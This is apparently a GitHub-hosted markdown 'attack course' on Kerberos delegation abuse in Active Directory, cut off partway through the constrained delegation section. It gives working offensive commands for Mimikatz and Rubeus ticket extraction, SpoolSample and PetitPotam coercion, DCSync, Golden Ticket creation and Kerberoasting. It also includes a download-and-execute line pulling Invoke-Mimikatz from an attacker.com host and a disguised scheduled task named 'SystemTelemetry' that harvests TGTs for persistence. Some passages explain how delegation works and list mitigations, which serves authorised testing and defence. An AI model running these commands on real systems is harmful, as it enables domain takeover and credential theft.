-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathDelegation
More file actions
4098 lines (3226 loc) · 124 KB
/
Copy pathDelegation
File metadata and controls
4098 lines (3226 loc) · 124 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# Kerberos Delegation Attacks: Complete Attack Course
## Table of Contents
1. Introduction to Kerberos Delegation
2. Understanding Delegation Types
3. Unconstrained Delegation Attacks
4. Constrained Delegation Attacks
5. Resource-Based Constrained Delegation (RBCD)
6. S4U2Self and S4U2Proxy Abuse
7. Reconnaissance and Preparation
8. Attack Execution and Tooling
9. Advanced Scenarios and Persistence
10. Detection, Prevention, and Mitigation
---
## 1. Introduction to Kerberos Delegation
### What is Kerberos Delegation?
**Kerberos Delegation** is a feature that allows a service to impersonate a user when accessing other services on behalf of that user. This enables "double-hop" authentication scenarios where a service needs to access resources as the authenticated user without requiring the user's password.
### Why Delegation Exists
**Business Need:**
```
User authenticates to Web Server
↓
Web Server needs to access Database as User
↓
Without Delegation: Web Server can't authenticate as User
↓
With Delegation: Web Server impersonates User to Database
↓
Database sees request from User (not Web Server)
```
**Common Use Cases:**
- Web applications accessing backend databases
- SharePoint accessing file servers
- Exchange accessing mailbox servers
- Multi-tier applications
- Service-to-service authentication
### Why Delegation Attacks Matter
**For Red Teamers:**
- Privilege escalation vector
- Lateral movement technique
- Service account compromise leads to broader access
- Often misconfigured and over-permissioned
- Can lead to domain admin compromise
- Multiple attack vectors (Unconstrained, Constrained, RBCD)
**For Defenders:**
- Commonly misconfigured
- Excessive delegation permissions
- Difficult to audit properly
- Often forgotten after initial setup
- Can provide backdoor access
- Requires comprehensive understanding
### Attack Classification
**MITRE ATT&CK Techniques:**
- **T1558**: Steal or Forge Kerberos Tickets
- **T1558.003**: Kerberoasting
- **T1068**: Exploitation for Privilege Escalation
- **T1021**: Remote Services
- **T1550.003**: Use Alternate Authentication Material: Pass the Ticket
**Prerequisites by Attack Type:**
**Unconstrained Delegation:**
- Access to server with unconstrained delegation
- Ability to trigger authentication from target
- Local admin on delegation server
**Constrained Delegation:**
- Compromised service account with delegation rights
- Knowledge of allowed delegation targets
- Ability to request service tickets
**RBCD:**
- GenericAll/GenericWrite/WriteProperty on target computer
- Ability to create/control computer account
- Knowledge of target service
### Delegation Types Comparison
| Feature | Unconstrained | Constrained | Resource-Based Constrained |
|---------|--------------|-------------|---------------------------|
| **Configuration Location** | Service account | Service account | Target resource |
| **Scope** | Any service | Specific services | Controlled by resource |
| **Security Risk** | Very High | Medium | Medium |
| **Common Usage** | Legacy/Domain Controllers | Modern applications | Modern (2012+) |
| **Attack Difficulty** | Easy | Medium | Medium |
| **Detection Difficulty** | Easy | Medium | Hard |
### Real-World Attack Scenarios
**Scenario 1: Unconstrained Delegation to Domain Admin**
```
Discover web server with unconstrained delegation
↓
Compromise web server (local admin)
↓
Trigger Domain Admin authentication to web server
↓
Extract Domain Admin TGT from web server memory
↓
Use TGT for domain-wide access
```
**Scenario 2: Constrained Delegation Escalation**
```
Compromise service account with delegation to SQL
↓
Service account allowed: MSSQLSvc/sql.corp.local
↓
Request ticket for MSSQL service as Domain Admin
↓
Alternative service abuse: request CIFS/LDAP instead
↓
Access SQL server or DC as Domain Admin
```
**Scenario 3: RBCD Privilege Escalation**
```
Obtain GenericWrite on target computer object
↓
Create new computer account (attacker-controlled)
↓
Configure RBCD on target to trust attacker computer
↓
Impersonate any user to target computer
↓
Access target as Domain Admin
```
### Key Concepts
**Delegation Trust Model:**
- Service A trusts user authentication
- Service A can impersonate user to Service B
- Service B trusts Service A to properly authenticate
- No re-authentication required from user
- Based on Kerberos ticket forwarding
**Why Delegation Attacks Work:**
- Services trusted to impersonate users
- Often over-permissioned (delegate to ANY service)
- Misconfigured or forgotten configurations
- Tickets stored in memory can be extracted
- Alternative service names not validated
- Resource-based model allows self-delegation
**Critical Components:**
- **TGT (Ticket Granting Ticket)**: Stored on unconstrained delegation servers
- **Forwardable Tickets**: Required for delegation to work
- **S4U2Self**: Service requests ticket for itself on behalf of user
- **S4U2Proxy**: Service requests ticket to backend service as user
- **msDS-AllowedToDelegateTo**: Attribute defining delegation targets
- **msDS-AllowedToActOnBehalfOfOtherIdentity**: RBCD configuration
### Attack Impact
**Unconstrained Delegation Impact:**
- Complete compromise of any authenticated user
- Domain Admin TGT extraction
- Persistent access via stored tickets
- Can compromise entire domain
- Historical: affected Domain Controllers in older environments
**Constrained Delegation Impact:**
- Impersonation to specific services
- Alternative service name abuse
- Privilege escalation via misconfiguration
- Access to backend resources
- Often leads to database compromise
**RBCD Impact:**
- Self-service privilege escalation
- Lower privilege requirement
- Harder to detect
- Flexible attack vector
- Can target any computer object with write access
---
## 2. Understanding Delegation Types
### Unconstrained Delegation (Delegation to ANY Service)
#### How It Works
**Technical Flow:**
```
1. User authenticates to Service A
2. User's TGT is included in service ticket (if forwardable)
3. Service A receives service ticket + User's TGT
4. Service A stores User's TGT in memory
5. Service A uses User's TGT to request tickets to ANY service
6. Service A accesses other services as User
```
**Visual Representation:**
```
User Service A Service B KDC
| (Unconstrained) |
| |
|--Request Access to Service A------->| |
| | |
| |<--Request Service Ticket----|
| | + Include TGT |
| | |
|<--Service Ticket + TGT------------ | |
| | |
|--Present Ticket----------------> | |
| | (TGT stored in memory) |
| | |
| |--Request Ticket to B------->|
| | Using User's TGT |
| | |
| |<--Service Ticket------------|
| | |
| |--Access Service B---------->|
| | As User |
```
#### Configuration
**Setting Unconstrained Delegation:**
```powershell
# Via PowerShell
Set-ADAccountControl -Identity "WEBSERVER$" -TrustedForDelegation $true
# Via Active Directory Users and Computers
Computer Properties → Delegation Tab
Select: "Trust this computer for delegation to any service (Kerberos only)"
```
**Identifying in AD:**
```powershell
# Find computers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
# Find user accounts with unconstrained delegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
# Using PowerView
Get-DomainComputer -Unconstrained
Get-DomainUser -Unconstrained
```
**AD Attribute:**
```
userAccountControl attribute contains:
TRUSTED_FOR_DELEGATION flag (0x80000)
```
#### Security Implications
**Why It's Dangerous:**
- Service stores ALL user TGTs in memory
- No restrictions on which services can be accessed
- Domain Admin TGT can be captured
- Tickets persist until expiration (10 hours default)
- Service compromise = all authenticated user compromise
**Historical Context:**
- Required for Domain Controllers (pre-2003)
- Legacy applications may require it
- Modern alternatives exist (constrained delegation)
- Should be avoided except for DCs
### Constrained Delegation (Delegation to SPECIFIC Services)
#### How It Works
**Technical Flow:**
```
1. User authenticates to Service A
2. Service A configured to delegate ONLY to Service B
3. Service A requests service ticket for Service B as User
4. Uses S4U2Proxy extension
5. KDC validates delegation is allowed
6. Service A receives ticket for Service B as User
7. Service A accesses Service B as User
```
**Visual Representation:**
```
User Service A Service B KDC
| (Constrained) |
| |
|--Authenticate to Service A-------->| |
| | |
| |--S4U2Proxy Request-------->|
| | "Give me ticket for B" |
| | "As User" |
| | |
| |<--Validate Allowed---------|
| | Check msDS-AllowedTo... |
| | |
| |<--Service Ticket for B-----|
| | |
| |--Access Service B--------->|
| | As User |
```
#### Configuration
**Setting Constrained Delegation:**
```powershell
# Via PowerShell
Set-ADUser -Identity "svc_web" -Add @{'msDS-AllowedToDelegateTo'=@('MSSQLSvc/sql.corp.local','MSSQLSvc/sql.corp.local:1433')}
# Via Active Directory Users and Computers
Service Account Properties → Delegation Tab
Select: "Trust this user for delegation to specified services only"
Select: "Use any authentication protocol" (protocol transition)
Add Services: MSSQL/sql.corp.local
```
**Two Variants:**
**Kerberos Only:**
- User must authenticate with Kerberos
- More secure
- Less flexible
- Original constrained delegation
**Protocol Transition (Any Auth):**
- User can authenticate with ANY protocol (NTLM, Forms, etc.)
- Service converts to Kerberos for backend
- More flexible
- Uses S4U2Self + S4U2Proxy
- More commonly abused
**Identifying in AD:**
```powershell
# Find accounts with constrained delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo,TrustedToAuthForDelegation
# Using PowerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
```
**AD Attributes:**
```
msDS-AllowedToDelegateTo: List of SPNs delegation is allowed to
TrustedToAuthForDelegation: Protocol transition enabled (0x1000000)
```
#### Service for User Extensions
**S4U2Self (Service for User to Self):**
```
Purpose: Service obtains ticket for itself on behalf of user
Use Case: User authenticated with non-Kerberos protocol
Result: Service gets forwardable ticket for user
Requirement: TrustedToAuthForDelegation flag
```
**S4U2Proxy (Service for User to Proxy):**
```
Purpose: Service obtains ticket to another service as user
Use Case: Accessing backend service on user's behalf
Result: Service gets ticket for backend service as user
Requirement: msDS-AllowedToDelegateTo configured
```
**Combined Flow:**
```
1. User authenticates to Service A (could be NTLM/Forms Auth)
2. Service A uses S4U2Self to get forwardable ticket for User
3. Service A uses S4U2Proxy to get ticket for Service B as User
4. Service A accesses Service B as User
```
### Resource-Based Constrained Delegation (RBCD)
#### How It Works
**Key Difference:**
- Traditional: Delegation configured on SOURCE (service doing the delegation)
- RBCD: Delegation configured on TARGET (resource being accessed)
- Introduced in Windows Server 2012
- More flexible, allows resources to control who can delegate
**Technical Flow:**
```
1. Computer B configured to allow Computer A to delegate to it
2. Computer A requests ticket to Computer B as User
3. KDC checks Computer B's msDS-AllowedToActOnBehalfOfOtherIdentity
4. If Computer A is in the list, delegation allowed
5. Computer A gets ticket for Computer B as User
```
**Visual Representation:**
```
Computer A Computer B KDC
(Attacker) (Target) |
| | |
| | Config: Trust A |
| | (RBCD setting) |
| |
|--S4U2Self Request--------------------->|
| "Ticket for me as Domain Admin" |
| |
|<--Forwardable Ticket-------------------|
| |
|--S4U2Proxy Request-------------------->|
| "Ticket for B as Domain Admin" |
| Check: Does B allow A? |
| |
|<--Service Ticket for B-----------------|
| |
|--Access Computer B as DA-------------->|
```
#### Configuration
**Setting RBCD:**
```powershell
# Get SID of computer allowed to delegate
$ComputerA = Get-ADComputer "COMPUTER-A"
$ComputerA_SID = $ComputerA.SID
# Create security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerA_SID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# Set RBCD on target computer
$ComputerB = Get-ADComputer "COMPUTER-B"
Set-ADComputer $ComputerB -PrincipalsAllowedToDelegateToAccount $ComputerA
# Alternative method
$ComputerB = Get-ADComputer "COMPUTER-B"
Set-ADComputer $ComputerB -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
```
**Identifying RBCD:**
```powershell
# Find computers with RBCD configured
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Where-Object {$_.msDS-AllowedToActOnBehalfOfOtherIdentity -ne $null}
# Parse RBCD settings
$Computer = Get-ADComputer "TARGET" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
$Computer.'msDS-AllowedToActOnBehalfOfOtherIdentity' | ForEach-Object {
$SD = New-Object Security.AccessControl.RawSecurityDescriptor($_, 0)
$SD.DiscretionaryAcl
}
```
**AD Attribute:**
```
msDS-AllowedToActOnBehalfOfOtherIdentity:
- Security descriptor in binary format
- Lists principals allowed to delegate
- Controlled by target resource
- Requires GenericWrite/GenericAll to modify
```
#### Why RBCD is Powerful for Attackers
**Advantages:**
- Lower privilege requirement (GenericWrite vs Domain Admin)
- Self-service delegation configuration
- Target controls delegation (easier to misconfigure)
- Can create attacker-controlled computer accounts
- Harder to detect than traditional delegation
- No need to compromise highly privileged accounts
**Attack Requirements:**
```
1. GenericWrite/GenericAll/WriteProperty on target computer
OR
2. Ability to modify msDS-AllowedToActOnBehalfOfOtherIdentity
PLUS
3. Control of a computer account (create or compromise)
RESULT
4. Can impersonate ANY user to target computer
```
### Delegation Comparison Table
| Aspect | Unconstrained | Constrained | RBCD |
| ------------------------ | ------------------ | ------------------ | ---------------------- |
| **Config Location** | Source service | Source service | Target resource |
| **Scope** | ANY service | Specific SPNs | Controlled by target |
| **Introduced** | Windows 2000 | Windows 2003 | Windows 2012 |
| **User TGT Stored** | Yes | No | No |
| **Protocol Transition** | No | Optional | Yes |
| **Attack Complexity** | Low | Medium | High |
| **Privilege Required** | Service compromise | Service compromise | GenericWrite on target |
| **Detection Difficulty** | Easy | Medium | Hard |
| **Common Use** | Legacy/DCs | Web apps | Modern apps |
| **Abuse Potential** | Very High | High | High |
### Protocol Transition Deep Dive
**Without Protocol Transition (Kerberos Only):**
```
User must authenticate with Kerberos
↓
Service receives forwardable TGT
↓
Service uses TGT for delegation
↓
More secure but less flexible
```
**With Protocol Transition (Any Auth):**
```
User authenticates with ANY protocol (NTLM, Forms, Basic, etc.)
↓
Service uses S4U2Self to request ticket for itself as user
↓
Service gets forwardable ticket (even though user didn't use Kerberos)
↓
Service uses S4U2Proxy for backend access
↓
More flexible but more dangerous
```
**Security Implications:**
- Allows delegation without user's Kerberos TGT
- Service can impersonate user without user's knowledge
- More vulnerable to abuse
- Required for most web applications
- Enabled by TrustedToAuthForDelegation flag
**Identifying Protocol Transition:**
```powershell
# Check for TrustedToAuthForDelegation flag
Get-ADObject -Filter {userAccountControl -band 16777216} -Properties userAccountControl,msDS-AllowedToDelegateTo
# userAccountControl value 16777216 (0x1000000)
# Indicates TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
```
---
## 3. Unconstrained Delegation Attacks
### Attack Overview
**Core Concept:**
When a server has unconstrained delegation, any user authenticating to that server has their TGT stored in the server's memory. If you compromise the server, you can extract all stored TGTs and impersonate those users.
**Attack Chain:**
```
1. Discover servers with unconstrained delegation
2. Compromise one of these servers (get admin access)
3. Monitor for high-value authentications (Domain Admin)
4. Trigger authentication from target user if needed
5. Extract TGT from server memory
6. Use TGT to impersonate user
7. Access resources as that user
```
### Discovery and Reconnaissance
#### Finding Unconstrained Delegation Servers
**Using PowerView:**
```powershell
# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained | Select-Object name,dnshostname
# Exclude Domain Controllers
Get-DomainComputer -Unconstrained | Where-Object {$_.useraccountcontrol -notmatch "SERVER_TRUST_ACCOUNT"} | Select-Object name,dnshostname
# Find user accounts with unconstrained delegation (rare)
Get-DomainUser -Unconstrained | Select-Object samaccountname,description
```
**Using AD Module:**
```powershell
# Computers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation,ServicePrincipalName,Description | Select-Object Name,DNSHostName,Description
# User accounts
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | Select-Object Name,SamAccountName
```
**Using LDAP Query:**
```powershell
# Search for userAccountControl with TRUSTED_FOR_DELEGATION flag
$searcher = [adsisearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
$searcher.FindAll() | ForEach-Object {$_.Properties.name}
```
**Using Impacket (findDelegation.py):**
```bash
# From Linux
findDelegation.py corporation.local/user:password -dc-ip 10.10.10.10
# Output shows accounts with delegation configured
```
#### Assessing Target Value
**Prioritize Targets:**
```powershell
# Check which admins have logged into delegation servers
$UnconstrainedServers = Get-DomainComputer -Unconstrained
foreach ($server in $UnconstrainedServers) {
Get-DomainUser -AdminCount | Get-DomainUserEvent -ComputerName $server.name
}
```
**Common High-Value Targets:**
- Web servers (frequent admin access for management)
- Application servers
- Management servers
- Jump servers / Bastion hosts
- Print servers (can trigger authentication via printer bug)
### Compromising Unconstrained Delegation Server
#### Gaining Access
**Common Methods:**
- Exploit vulnerability on server
- Phishing with payload targeting server
- Credential compromise (local admin)
- Service account compromise
- Default credentials
- Misconfigured services
**Example: Service Account Compromise**
```powershell
# Kerberoast to find crackable service accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Crack hash
hashcat -m 13100 hashes.txt rockyou.txt
# If service account has admin on unconstrained server
psexec.py corporation.local/svc_app:password@webserver.corp.local
```
### Extracting TGTs from Memory
#### Using Mimikatz
```cmd
# Export all tickets from memory
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# Look for TGT files (krbtgt service)
dir *.kirbi | findstr krbtgt
# Example output:
# [0;3e7]-2-0-40e10000-Administrator@krbtgt-CORPORATION.LOCAL.kirbi
```
**Filtering for Specific Users:**
```cmd
# Extract only Domain Admin TGTs
mimikatz # sekurlsa::tickets /export
# On attacking machine, search for DA tickets
dir *.kirbi | findstr "Domain-Admin.*krbtgt"
```
#### Using Rubeus
```powershell
# Monitor for new TGTs (real-time)
.\Rubeus.exe monitor /interval:5 /filteruser:administrator
# Dump all tickets
.\Rubeus.exe dump
# Dump only TGTs
.\Rubeus.exe dump /service:krbtgt /nowrap
# Dump specific user's tickets
.\Rubeus.exe dump /user:administrator /nowrap
```
#### Using Invoke-Mimikatz (PowerShell)
```powershell
# Load Mimikatz in memory
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-Mimikatz.ps1')
# Export tickets
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
```
### Triggering Authentication (Coercing)
#### The Printer Bug (MS-RPRN)
**Concept:**
Windows Print Spooler service can be forced to authenticate to an attacker-controlled server, sending the computer account's TGT.
**SpoolSample Tool:**
```cmd
# Force DC to authenticate to compromised unconstrained server
SpoolSample.exe DC01.corporation.local WEBSERVER.corporation.local
# On WEBSERVER (monitoring with Rubeus)
.\Rubeus.exe monitor /interval:1 /filteruser:DC01$
```
**What Happens:**
```
1. SpoolSample triggers Print Spooler on DC01
2. DC01 connects to WEBSERVER to "check printer status"
3. DC01 authenticates using its computer account
4. DC01$ TGT sent to WEBSERVER (unconstrained delegation)
5. Attacker on WEBSERVER extracts DC01$ TGT
6. Attacker uses DC01$ TGT for DCSync
```
**Full Attack Flow:**
```cmd
# Terminal 1: Start monitoring on unconstrained server
.\Rubeus.exe monitor /interval:1 /filteruser:DC01$ /nowrap
# Terminal 2: Trigger authentication
SpoolSample.exe DC01.corporation.local WEBSERVER.corporation.local
# Terminal 1: Copy captured TGT
# Terminal 3: Inject TGT and perform DCSync
.\Rubeus.exe ptt /ticket:BASE64_TGT
# DCSync domain
mimikatz # lsadump::dcsync /domain:corporation.local /all /csv
```
#### PetitPotam (MS-EFSRPC)
**More Reliable than Printer Bug:**
```cmd
# Force authentication from DC
PetitPotam.py -u user -p password WEBSERVER.corporation.local DC01.corporation.local
# Or unauthenticated
PetitPotam.py WEBSERVER.corporation.local DC01.corporation.local
```
**Advantages:**
- Works even if Print Spooler disabled
- More reliable
- Can work unauthenticated
- Affects all Windows versions
#### PrivExchange (Exchange)
**Targeting Exchange Servers:**
```python
# Trigger Exchange authentication
privexchange.py -u user -p password -d corporation.local WEBSERVER.corporation.local -ah exchange.corporation.local
# Exchange server authenticates to WEBSERVER
# Extract Exchange computer account TGT
# Use for privilege escalation
```
### Using Extracted TGTs
#### Pass-the-Ticket Attack
**With Mimikatz:**
```cmd
# Inject TGT
mimikatz # kerberos::ptt administrator@krbtgt-CORPORATION.LOCAL.kirbi
# Verify
klist
# Access resources
dir \\DC01\C$
```
**With Rubeus:**
```powershell
# Inject TGT
.\Rubeus.exe ptt /ticket:BASE64_TGT
# Or from file
.\Rubeus.exe ptt /ticket:administrator.kirbi
# Verify
klist
```
#### Cross-Platform Usage
**Windows to Linux:**
```cmd
# 1. Export TGT with Mimikatz/Rubeus
.\Rubeus.exe dump /user:administrator /nowrap
# 2. Copy Base64 ticket
# 3. On Linux, decode and convert
echo "BASE64_TICKET" | base64 -d > administrator.kirbi
ticketConverter.py administrator.kirbi administrator.ccache
# 4. Use with Impacket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass administrator@dc01.corporation.local
```
### Domain Controller TGT Extraction
**Most Valuable Target:**
```
DC Computer Account TGT = DCSync capability
↓
Can replicate all domain credentials
↓
Extract krbtgt hash
↓
Create Golden Ticket
↓
Complete domain compromise
```
**Attack Execution:**
```cmd
# 1. On unconstrained server, start monitoring
.\Rubeus.exe monitor /interval:1 /filteruser:DC01$ /nowrap
# 2. Trigger DC authentication
SpoolSample.exe DC01.corporation.local WEBSERVER.corporation.local
# 3. Extract DC01$ TGT
# (Captured by Rubeus)
# 4. Inject DC TGT
.\Rubeus.exe ptt /ticket:DC01$_TGT_BASE64
# 5. Perform DCSync
mimikatz # lsadump::dcsync /domain:corporation.local /user:krbtgt
# 6. Create Golden Ticket
mimikatz # kerberos::golden /domain:corporation.local /sid:DOMAIN_SID /krbtgt:HASH /user:Administrator /ptt
# 7. Complete domain control
```
### Persistence via Unconstrained Delegation
#### Scheduled Ticket Harvesting
```powershell
# Script to continuously harvest TGTs
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -Sta -NonI -W Hidden -C `".\Rubeus.exe dump /service:krbtgt /outfile:C:\temp\tickets.txt`""
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
Register-ScheduledTask -TaskName "SystemTelemetry" -Action $action -Trigger $trigger -RunLevel Highest
```
#### Monitoring for High-Value Tickets
```powershell
# Continuous monitoring with alerting
while($true) {
$tickets = .\Rubeus.exe dump /service:krbtgt
if($tickets -match "Domain Admin|Enterprise Admin|Administrator") {
# Send alert or exfiltrate ticket
$tickets | Out-File C:\temp\hvt.txt
# Upload to C2
}
Start-Sleep -Seconds 30
}
```
### Unconstrained Delegation Limitations
**What Doesn't Work:**
- Can't extract tickets from users who haven't authenticated
- Tickets expire (10 hours default)
- Protected Users group members don't send TGTs
- Credential Guard prevents TGT extraction
- Must have admin on delegation server
- Obvious in logs if monitored
**Mitigations That Block:**
- Account is Sensitive and Cannot be Delegated
- Member of Protected Users group
- Credential Guard enabled
- LSA Protection enabled
- Smart card required for interactive logon
---
## 4. Constrained Delegation Attacks
### Attack Overview
**Core Concept:**
Constrained delegation allows a service to impersonate users to SPECIFIC backend services. However, due to implementation details (lack of SPN validation), attackers can abuse this to access ANY service on the target host, not just the configured one.
**Key Vulnerability:**
```
Service configured to delegate to: MSSQLSvc/sql.corp.local
↓
Attacker can request ticket for: MSSQLSvc/sql.corp.local (allowed)
↓
BUT ALSO can request: CIFS/sql.corp.local (not validated!)
↓
Result: Access to file shares on SQL server, not just database
```
**Attack Chain:**
```
1. Discover accounts with constrained delegation
2. Compromise service account or computer with delegation
3. Identify allowed delegation targets
4. Request service ticket as high-privilege user
5. Use alternative service names for broader access
6. Abuse S4U2Self for protocol transition
7. Chain multiple delegations for deeper access
```
### Discovery and Reconnaissance
#### Finding Constrained Delegation
**Using PowerView:**
```powershell
# Find user accounts with constrained delegation
Get-DomainUser -TrustedToAuth | Select-Object name,msds-allowedtodelegateto,useraccountcontrol
# Find computer accounts with constrained delegation
Get-DomainComputer -TrustedToAuth | Select-Object name,msds-allowedtodelegateto,useraccountcontrol
# Check for protocol transition capability
Get-DomainUser -TrustedToAuth | Where-Object {$_.useraccountcontrol -band 16777216} | Select-Object name,msds-allowedtodelegateto
```
**Using AD Module:**
```powershell
# User accounts with constrained delegation
Get-ADUser -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo,TrustedToAuthForDelegation | Select-Object Name,msDS-AllowedToDelegateTo,TrustedToAuthForDelegation
# Computer accounts
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo,TrustedToAuthForDelegation | Select-Object Name,msDS-AllowedToDelegateTo,TrustedToAuthForDelegation
```
**Using LDAP Query:**
```powershell
# Find all objects with msDS-AllowedToDelegateTo
$searcher = [adsisearcher]"(msDS-AllowedToDelegateTo=*)"
$searcher.PropertiesToLoad.AddRange(@("name","msDS-AllowedToDelegateTo","userAccountControl"))
$searcher.FindAll() | ForEach-Object {
[PSCustomObject]@{
Name = $_.Properties.name[0]
AllowedTo = $_.Properties.'msds-allowedtodelegateto'
ProtocolTransition = ($_.Properties.useraccountcontrol[0] -band 16777216) -ne 0
}
}
```
**Using Impacket:**
```bash
# From Linux
findDelegation.py corporation.local/user:password -dc-ip 10.10.10.10
# Shows both unconstrained and constrained delegation
```
#### Analyzing Delegation Targets
**Parse Allowed Services:**
```powershell
# Get detailed delegation info
$account = Get-ADUser "svc_web" -Properties msDS-AllowedToDelegateTo
$account.'msDS-AllowedToDelegateTo'
# Output example:
# MSSQLSvc/sql01.corp.local
# MSSQLSvc/sql01.corp.local:1433
# CIFS/fileserver.corp.local
```
**Understanding SPN Format:**
```
Service/Hostname
Service/Hostname:Port
Examples:
MSSQLSvc/sql.corp.local - SQL Server (any port)
MSSQLSvc/sql.corp.local:1433 - SQL Server (port 1433)